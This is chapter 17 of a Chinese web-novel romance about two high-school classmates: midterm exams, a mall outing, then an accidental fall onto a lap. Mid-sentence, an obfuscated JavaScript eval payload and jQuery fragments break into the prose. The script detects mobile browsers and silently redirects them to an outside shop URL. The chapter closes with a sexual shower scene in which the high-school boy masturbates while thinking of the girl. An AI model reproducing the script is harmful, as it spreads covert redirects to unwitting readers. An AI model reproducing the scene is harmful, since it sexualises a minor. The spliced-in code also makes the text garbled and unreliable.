17. 第 17 章

作品:《挽夏

    江砚年冷淡却强硬的姿态,使得顾心语和张皓安往后都不敢再靠近他们。


    于是他们二人,也只在林挽夏的高中记忆中留下了这么浅淡的一笔。


    ……


    一个月的时间转瞬即逝。


    这期间,林挽夏的胳膊恢复良好,顺利拆除了石膏。


    十一月中旬,在第一波寒潮席卷苏城之际,一中的学生们迎来了期中考。


    第一天上午的语文考完后,林挽夏、江砚年、白婷婷、陆骁四人照例一起到食堂吃饭。


    刚坐下,陆骁突然叹了口气:“我有预感,下午的数学会很难。”


    白婷婷没好气地道:“你的预感就没准过,别乱讲。”


    “没乱讲,隔壁班数学老师亲口说的。”陆骁摊牌道。


    闻言,林挽夏顿觉嘴里的鸡翅都不香了:“不是吧……那我还能及格吗?”


    “事到如今,只有一个办法了。”陆骁一脸沉痛地说。


    林挽夏好奇地看向他:“什么办法?”


    陆骁虔诚地朝江砚年拜了三拜:“年哥,下午借我根笔吧,让我沾沾考神的仙气。”


    林挽夏:“……”


    就不该对他有所期待。


    江砚年冷淡地瞥了陆骁一眼,眼神里是明晃晃的鄙夷。


    下一刻,林挽夏转过头:“那我也要!我要两根。”


    江砚年:“……”


    对上女孩水汪汪的大眼睛,他扯了扯嘴角,慢条斯理地剥了两只虾,放进林挽夏碗里:“吃这个也是一样的。”


    ——都是经他手开过光的,虾和笔没什么不同。


    林挽夏被说服了,顿时喜笑颜开,甜甜地道了声谢。


    她其实挺喜欢吃虾的,只是嫌剥壳麻烦,所以从来不会在食堂点。


    托江砚年的福,林挽夏有幸吃上了鲜嫩饱满的虾肉。


    这让对面的陆骁有些眼红:“年哥,我也想要!”


    只是,不等江砚年扫去冷冷的眼风,白婷婷就用手肘撞了他一下:“你别吵。”


    ——别影响我嗑cp。


    虽说已经吃了江砚年亲手剥的虾,但这天午休时,林挽夏还是找江砚年借了笔。


    她轻轻嘟囔着:“小孩子才做选择,我都想要。”


    江砚年的眼底浮现出浅浅的笑意,指指桌上的笔袋:“你挑吧。”


    林挽夏挑出两支最好写的,心满意足地放进包里。


    “林挽夏。”江砚年突然喊她。


    “嗯?”


    “别紧张,把你会的都写对就行。”


    江砚年的语气一如既往的淡,林挽夏的心却没来由地安定下来。


    ——或许这就是考神的赐福吧。


    好不容易捱过两天的期中考,周末没有作业,林挽夏窝在家里报复性看漫画。


    周六下午,白婷婷给她打来电话:


    “挽夏,明天我生日,我们一起去新开的游乐园吧?”


    “可以呀!你要过生日怎么也不早跟我说,我什么都没准备呢……”


    “没事,你们能陪我过生日我就很开心了。”


    “我们?还有谁呀?”林挽夏随口问道。


    白婷婷有些不好意思:“还有陆骁……那个,你把大帅哥也叫上吧,人多热闹。”


    林挽夏没多想:“好啊,我现在就去跟他说。”


    两人约好见面的时间和地点后,林挽夏挂断电话,下楼找江砚年。


    她敲了许久,门才被拉开。


    江砚年挑了挑眉,有些意外:“不是说今天不来吗?”


    林挽夏抬起右手凑到他眼前,语气幽幽地抱怨:“你怎么这么久才来?我手都敲红了。”


    江砚年垂眸,看到她有些红肿的指节,眉头微蹙,抿了抿唇:“抱歉,我刚在书房没听见。”


    他顿了顿,有些无奈地提醒:“以后按门铃。”


    林挽夏敷衍地点点头,轻车熟路地从冰箱里拿出一瓶桃子汽水,拉开易拉环浅啜了一口。


    江砚年关好门转过身,就见到她捧着汽水舒服地眯了眯眼。


    “林挽夏,今天只有15度。”他语气凉凉地吐出一句话。


    林挽夏心不在焉地应了一声。


    江砚年有些头疼地捏了捏眉骨,上前两步,按住她的手腕。


    “太凉了。”他不由分说地抽走了汽水罐,放在桌上。


    林挽夏顿时怒目圆瞪,被江砚年冷冷一瞥,又一下子哑了火。


    大丈夫能屈能伸,她忍。


    想起自己的来意,林挽夏撇了撇嘴:“你明天有空吗?婷婷过生日,约我们去游乐园玩,陆骁也去。”


    江砚年的神情有片刻凝滞:“……好。”


    林挽夏弯唇一笑:“那你现在陪我去给她买个礼物吧。”


    商场。


    两人逛了一圈,一起给白婷婷买了套新出的漫画。


    今天一楼的中庭有随舞活动,躁动的音乐伴着动感的节拍,让人忍不住跟着轻轻摇晃。


    林挽夏和许多顾客一样,好奇地扒在二楼的栏杆旁,踮着脚尖,往底下看热闹。


    江砚年兴致缺缺地坐在她身后的长椅上,耷拉着眼皮玩手机,准备等她看尽兴了再回家。


    忽地,不知谁家调皮的小孩挤到了她身前,猛地一推搡,林挽夏脚下一个趔趄,重心瞬间失衡,整个人不受控制地往后倒——


    预想中的冰凉地面没有碰到,取而代之的是一片温热坚实的触感,带着淡淡的雪松木香,她跌坐在了江砚年的大腿上。


    江砚年的瞳孔骤然一缩,只觉被女孩香甜的气息扑了个满怀。


    他下意识地绷紧肌肉,掌心几乎是本能地捞住了她的腰,隔着宽松的外套,都能感觉到手下不盈一握的纤细。


    周围的喧嚣仿佛被按下了静音键,鼓点声、尖叫声都成了模糊的背景音,江砚年清晰地听到自己擂鼓般的心跳,和怀里女孩慌乱的呼吸声。


    尴尬又暧昧的姿势让瞬间林挽夏面红耳赤,她手忙脚乱地撑着他站起来,慌乱中不知碰到了哪,惹得江砚年闷哼一声。


    “对,对不起!”林挽夏水灵灵的杏眼里盛满了无措和羞赧。


    江砚年看着她有些泛红的眼尾,神色一暗,强压下心底被她勾起的那些恶劣因子,喉结不受控制地滚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203152|197283||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了滚。


    “……没事。”


    少年的声音干涩得厉害,林挽夏以为是自己把他撞痛了,更不好意思了。


    “那……我们走吧?”她小心翼翼地问,再不敢凑热闹了。


    江砚年垂下眼睫,低低地嗯了一声。


    因着这个突如其来的意外,两人各怀心事,一路无言。


    回到家,江砚年径直走向冰箱,拉开门时,冷气扑面而来,他却像毫无察觉,捞起瓶冰水就往嘴里灌。


    冰凉的液体顺着喉结滚下去,滑过紧实的脖颈线条,激起一阵颤栗,可心底的灼热感,却半点没有退却。


    少年倚靠在餐桌边,一只骨节分明的手随意地撑在桌上,余光扫过桌角时,他顿住了——


    那里放着半瓶开封了的桃子汽水,是林挽夏没喝完的。


    鬼使神差地,他伸手拿过那瓶汽水,薄唇贴上易拉罐边缘,清甜的果香混着气泡的微涩在舌尖炸开,像把女孩身上淡淡的甜香,在口中尝了一遍。


    江砚年的眼前不受控地闪过商场里的画面——女孩柔软的身躯、泛红的耳廓、湿漉漉的杏眼,还有起身时不经意间擦过他小腹的温热指尖。


    汽水的甜意还在舌尖打转,身体里的燥热却像被浇了油,烧得更凶,他只觉全身的火气,混杂成汹涌的欲望,在四肢百骸里疯窜,全都往一个地方涌。


    他有些难耐地闭上眼,握着易拉罐的指节因为用力而泛白,喉间溢出一声极轻的叹息,带着压抑不住地燥热,在寂静的客厅里显得格外清晰。


    不知过了多久,他认命般地睁开眼,放下汽水,大步朝浴室走去。


    暮色沉沉。


    江砚年的家中一片漆黑,唯有浴室的那扇磨砂玻璃门,漏出中些昏黄的光,在黑暗中割出一道暧昧的亮边。


    玻璃门内,花洒的水流顺着发梢往下淌,滑过他的额头、鼻梁、下颌,汇成一股股细流,沿着脖颈滚烫的皮肤蜿蜒而下,经过微微起伏的胸腔,沟壑分明的腹肌,最终不知消失在何处滚烫的阴影里。


    哗啦啦的水声,混着少年压抑又克制的喘息,在密闭的空间里缠成一团。


    偶尔,那喘息会猛地拔高一个调,像是琴弦绷到极致时发出的一声短促呜咽,又迅速被他咬牙咽下,只剩齿关摩擦的细微响动,和一声沉重得仿佛要撞碎肋骨的吸气。


    浴室里的雾气越来越重,模糊了他微微泛红的眼眶,也模糊了里头盛满的情欲,只映出一个模糊的、晃动的剪影。


    水声不知疲倦地响了许久,少年轮廓紧绷的肩背线条也因他的动作持续而规律地耸动着,不知疲倦。


    直到水汽氤氲中,他竟恍惚地看到少女的身影——站在花洒的光晕外,一如往常般眉眼弯弯地笑着,目光落在他身上,带着几分纵容的缱绻。


    江砚年的身子骤然一紧,呼吸彻底乱了节奏,指尖的动作也失了章法。


    最后一刻,一阵失控的颤栗伴着一声难抑的喟叹一并迸发,又被哗哗的水流彻底吞没、冲刷……


    水汽从门缝里漫出来,带着温热的湿意,在黑暗里悄悄蔓延。


    这一晚,注定是个难眠之夜……